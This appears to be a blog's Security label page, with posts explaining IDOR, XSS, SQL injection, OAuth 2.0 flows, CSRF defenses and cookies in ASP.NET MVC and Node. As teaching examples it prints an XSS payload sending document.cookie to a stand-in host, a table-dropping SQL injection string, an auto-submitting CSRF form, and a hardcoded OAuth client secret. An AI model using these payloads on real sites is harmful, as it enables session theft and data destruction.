Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts

Feb 18, 2017

Insecure Direct Object References

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. This is caused by the fact that the application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.

Example will be changing query string (by guessing number/string) in url after user is authenticated. If server does not verify if user is authorized to access requested data, then user can easily gain access to unauthorized data, by just changing the input parameter. (getdetail?userName=Mike)

So the most important thing to mitigate this will be verify if user is authorized to access data which user is requesting, meaning implementing access control check. If possibly mask input parameter with key which is valid only for that session like session id. This way you not directly exposing something which can be guessed directly. 

Nov 18, 2016

Cross site scripting


Cross-site scripting (XSS) enables attackers to inject client-side scripts into web pages. If its not prevented, this may lead to compromise of end users cookie. Let's take an example where an user input (either through query string or form input) is displayed on the browser without encoding it and user enters following to the input field
<script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>

This will result in transmitting user's cookie to myevilsite and hence myevilsite can access application using user's authenticated cookie.

Asp.net mvc framework has build in feature to deal with this issue

  • It uses ValidateInput filter to validate user's input and throws HttpRequestValidationException for malicious input. By default this is always applied to all actions, in which case any HTML markup or JavaScript code in the body, header, query string, or cookies which not be allowed in the request. In case you have a requirement to turn it off as you expect HTML markup or JS code in the request then you can turn it off by decorating your controller action by ValidateInput(false)] 
  • By default asp.net mvc razor syntax are automatically HTML encoded, this will mean by any chance your server side code is trying to output markup (like <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>), it will html encode when using with @ and hence it will be displayed to user as is which is <script>location.href = 'http://myevilsite.com?cookie=' + document.cookie </script>. This protects from the scenario where somehow you have html markup or javascript in you db or by user input if validation is turned off. In case you have a requirement to show markup as is then you can user extension method @Html.Raw.
  • When you tag a cookie as HttpOnly, it tells the browser that it can only be accessed by server and hence you cannot access this in javascript by document.cookie property. Form authentication which uses cookie ASPXAUTH is http only cookie and hence you cannot access that in java script.
  • You can use X-Xss-Protection header to configure the built in reflective XSS protection found in Internet Explorer, Chrome and Safari.
               X-XSS-Protection: 1; mode=block

Nov 12, 2016

SQL Injection

SQL injection is a way of injecting partial or complete sql query via data input from client to the server. Consider following web application
http://www.sqlinjestiondemo.com/customer?id=1

and now consider following server side code written to serve this request
userId = get id from user input, in this case query string
query = "select * from customer where id = " + userId

In the above scenario user can change input like 1 or 1=1 that will run following query, which will return all the customers from the dB, which is not what the intention was
select * from customer where id = 1 or 1=1

Lets take another example, if you change input to "1 ; drop table customer--" this will run following query which can drop the table
select * from customer where id = 1 ; drop table customer--

Following can be done to minimize chances of sql injection
  • Avoid concatenation of user input to partial query as we were doing in the above case. You can parametrize the query or use sproc or use ORM which internally parametrize the query 
  • User input which can come from query string, post via form, cookies, request header is untrusted data. It should be validated while processing them.
    • do a proper type conversion. getting away from string minimizes a lot of risk
    • use regular expression to validate string
    • list of known good values, like countries,state etc
  • Do not send sql exception to the client. This can expose dB info, for example table name, which can then be compromised by sql injecti
  • Make sure you give only necessary permission to the a/c under which sql is executed. 
There are tools available to test sql injection flaw in your application.

Dec 18, 2015

OAuth 2.0

OAuth 2.0 let client application access user's protected resources without resource owner sharing their credentials with the client application. Instead of using resource owner's credential, client application obtains access token which has specific scope and lifetime and use that to access protected resource.

O-Auth is about delegated authorization, meaning you want to authorize a client (which is a piece of software) to access your resources on your behalf. Its the combination of resource owner and client that make up the resultant access token.

OAuth takes multiple client architecture into account and also each client can have varying level of trust.

The “authorization” of the client by the Resource Owner is really consent. This consent may be enough for the user, but not enough for the API. The API is the one that’s actually authorizing the request. It probably takes into account the rights granted to the client by the Resource Owner, but that consent, in and of its self, is not authorization. So oAuth is for delegated access not for authorization, not for authentication and also not for federation. Refer this for more on authentication.

In movie "Ferris Bueller's Day Off" Ferris and his friend take day off and steal his dad's Ferrari and went to the mall and handed over car key to the guy for valet parking. Rather than parking the car this guy made a little road trip, which obviously was not the intention. This he could do because he had the master key, had that been valet parking key (may be that option was not there back than), he could not have taken Ferrari for the ride. So now take this analogy for oAuth, Ferris is the resource owner, Ferrari is the resource, valet parking guy is client and valet parking key is the token.

In a typical entreprize application you have a trusted client, which mean client, resource server and authorization server are build by the same company/party, so it may be ok (though here also you have to be careful) to have trust level between client and the resource server. But the moment you move your client outside the trust zone, you start thinking to do you manage access control between resource server and client.



OAuth Flows

  • Authorization Code Flow
    • Designed for server rendered application, client store secret securely on server. 
    • Resource owner get authorization
    • Client (server side) get access token. This is never visible to the browser.
    • Client access resource
  • Implicit Flow
    • Resource owner get authorization and access token
    • Client Access resource
  • Resource owner password credential flow
    • Trusted client, resource owner credential is exposed to the client
    • client gets token using resource owner credential
    • Access resource
  • Client credential flow
    • client get access token using client credential. no resource owner
    • access resource
Authorization Code
The authorization code used in auth code flow, provides an important security benefits. This is issued after resource owner is authenticated and access token is directly transmitted to the client without passing it to the resource owner's user-agent. This must expire shortly after it is issued (usually 10 min), and it should not be used more than once.

Access Token
Client access protected resource by sending access token to the resource server. Resource server validates access token and its scope covers protected resource. It depend on resource server how it validates the access token. Usually its done in following two ways
  • By value: In this case access token can be JWT, which may have user information, issuer information. This way access token is self-contained, so resource server can verify the access token and use the associated content without having to go back to the Authorization Server. That is a great property but makes revocation harder. 
  • By reference: In this case access token doesn't contain user info, so in this case resource server will talk to the authorization server in order to get user information against access token.
Refresh Token
A token that may be used to obtain a new access token. Refresh tokens are valid until user revokes access. The idea of refresh tokens is that if an access token is compromised, because it is short-lived, the attacker has a limited window to abuse it. Refresh tokens, if compromised, are useless because the attacker requires the client id and secret in addition to the refresh token in order to gain an access token.

Profiles of Token
  • Bearer Token
  • HoK Token
Concerns 
Eran Hammer lead editor left the committee. He raised lot of concerns some of which are
  • The framework (its no longer specification) has lot of variations, If you go through the specification it has lot of "may be implemented" phrase. So basically you use this framework to come up with your own protocol which satisfies your requirement.
  • If bearer token is stolen anyone can use that to gain access to the resource. There may be scenarios where ssl is not established end to end.
  • Security Theater, Client application can spoof authorization server login screen.
  • Attack surface, User may manipulate redirect url, scope and response type as those comes in query string. So authorization server may need to do proper validation around those input value. There were few hack around this with facebook.
https://www.tbray.org/ongoing/When/201x/2013/01/23/OAuth

Dec 13, 2015

OAuth 2.0 Authorization Code Grant

OAuth let client application access user's protected resources without resource owner sharing their credentials with the client application. Instead of using resource owner's credential, client application obtains access token which has specific scope and lifetime and use that to access protected resource. Following steps are involved in auth code grant type.

Step1

The client initiates the flow by directing the resource owner's user-agent to the authorization endpoint.  The client constructs the request URI by adding the following parameters to the query component of the authorization endpoint URI
  • client_id  (required)- authorization server issue the registered client
  • response_type (required) - for this case it will be code
  • redirect_uri (optional) - to which the authorization server will send the user-agent back once access is granted or denied, this should be same as what is registered by the client
  • scope (optional)- scope of access request
  • state (optional)- An opaque value used by the client to maintain state between the request callback.
Following is an example of such uri 

https://accounts.google.com/o/oauth2/auth?
scope=https://www.googleapis.com/auth/userinfo.profile&
response_type=code&
redirect_uri=http://localhost:3000/auth/google/callback&
client_id=clientid from google developer
You can use passport-google-oauth npm package and use following code in order to achieve this.

 
 passport.use(new googleStrategy({
            clientID: "1071015616274-as07l0j0iuhpnll3o5auakjbssc3brl7.apps.googleusercontent.com",
            clientSecret: 'O7HoSqMNZD7gkitrSzAUWLpv',
            callbackURL: "http://localhost:3000/auth/google/callback"
        }, function (req, accessToken, refreshToken, profile, done) {
            done(null, profile);
        }));

 app.get('/auth/google',
            passport.authenticate('google', {
                scope: ['https://www.googleapis.com/auth/userinfo.profile', 'https://www.googleapis.com/auth/userinfo.email']
            }));

if you are using passport-google-oauth, refer following where this redirect happens
node_modules\passport-google-oauth\node_modules\passport-oauth\node_modules\passport-oauth2\lib\strategy.js

Step 2

Authorization server authenticate resource owner and resource owner authorizes client application to access its resource. User never share its credential with the client application.

Step 3

If the resource owner grant access, the authorization service redirects the user back to your site with an auth code

http://localhost:3000/auth/google/callback?code=xxxxx

Step 4

Client application make a request to authorization server's token endpoint by sending auth code (received in the previous step)

Request looks something like this
POST https://accounts.google.com/o/oauth2/token
grant_type=authorization_code&
redirect_uri=http://localhost:3000/auth/google/callback& (same as what was sent in authorization request)
client_id=xxx& (secret issued to client during registration process)
client_secret=xxx& (secret issued to client during registration process, this is never visible to user agent)
code=xxx (code which was received in earlier step)
Response may look like

{
"access_token" : "xxx",
"token_type" : "Bearer",
"expires_in" : 3431,
"id_token" : "xxxx"
}

If you are using passport-google-oauth npm package, this call happens in the module OAuth2 (node_modules\passport-google-oauth\node_modules\passport-oauth\node_modules\passport-oauth2\node_modules\oauth\lib\oauth2.js). It then pass

Client application use access token from here on to access user's protected resource


Aug 9, 2014

Protecting your Mvc page from CSRF

Adding @Html.AntiForgeryToken() to a view does following
 
 sets __RequestVerificationToken Cookie
 add hidden input __RequestVerificationToken to the page

And then you can add attribute ValidateAntiForgeryToken to the HttpPost action which will validate __RequestVerificationToken between cookie and posted hidden input value. This helps defend against cross-site request forgery. If any of the values are missing or the values does not match (it has some encryption logic so if you try to compare, the value it will not looksame), it will throw HttpAntiForgeryException.


With the absence of attribute ValidateAntiForgeryToken, your site can be easily prone to csrf. Refer to following for a quick way to create this condition


<body>
    <form name="badform" method="post" action="http://localhost/product-ui/Product/Create">
        <input type="hidden" name="sku" value="1234" />
        <input type="hidden" name="overview" value="something...." />
    </form>
    <script type="text/javascript">
        document.badform.submit();
    </script>
</body>

Jun 10, 2014

Cookie

Cookie is a small piece of data sent from a server and stored in the browser. Browser sends cookie back with each subsequent request based on set of rules. Few of the common examples

ASP.NET_SessionId is a cookie that ASP.NET uses to store a unique identifier for your session.

   Set-Cookie: ASP.NET_SessionId=huilln20biy333vr3smug2sb; path=/; HttpOnly


This is set only when user tries to store something to the session, for example in asp.net mvc if we add this code, then we should see this cookie.
ControllerContext.HttpContext.Session.Add("a",1);

.ASPXAUTH is a cookie that asp.net uses for form authentication.

     Set-Cookie: .ASPXAUTH=095F6C2AF0126AF84BD5A30AD2866328E06F61755EA6FCDEDAA5A79F9039FB38AC4812628A42C700B7E927B58CA6B50F831DA2143A06385AA422ED313CB39303C3C0DA75DCFE9BCF363B7969FCFC6B0114D362CE6C1A04C424C7B1D46A440170B1DABD47E6DD8C91D6EE64B74F5224B6; path=/; HttpOnly

A web server specifies a cookie to be stored by sending an HTTP header called Set-Cookie. This is how response header looks.

     Set-Cookie: value[; expires=date][; domain=domain][; path=path][; secure]
     Set-Cookie: MyCompany=SessionKey={some unique id}&UserName=MyName&UserId=MyId; domain=.somewhere.com; path=/

In asp.net mvc you can use following code in order to perform set this header

        var httpCookie = new HttpCookie("MyCompany", "SessionKey=something&UserName=MyName");
        httpCookie.Values["UserId"] = "MyId";
    
 httpCookie.Expires = DateTime.Today.AddDays(1);
 httpCookie.Domain = "bogus.com";
 httpCookie.Path = "/product";
 httpCookie.Secure = true;
 ControllerContext.HttpContext.Response.Cookies.Add(
  httpCookie
  );


Value is string in the format name=value. In the above example we have used subcookies in order to increase the number as there is limitation on number of cookie.

Value is sent to the server with each subsequent request if option allows

     Cookie: MyCompany=SessionKey={some unique id}&UserName=MyName&UserId=MyId;

Each of the options after cookie value are separated by semicolon and space.

Expires option indicates when the cookie expires and should not be sent back to the server. Without the expires option, a cookie has a lifespan of a single session as we saw in case of ASPXAUTH,ASP.NET_SessionId

Domain options indicates domains for which cookie should be sent. By default domain is set to the host name of the page setting the cookie. This is useful for case like mail.somewhere.com and finance.somewhere.com. By setting .somewhere.com cookie can be shared these sets of sites. Browser performs a trail comparison of this value and the host name to which a request is sent.

Path options is another way to control cookie. This comparison is done by comparing the option value character-by-character against the start of the request URL. If the characters match, then the Cookie header is sent.

If secure option is specified then cookie will only be sent to the server when a request is made using SSL and the HTTPS protocol.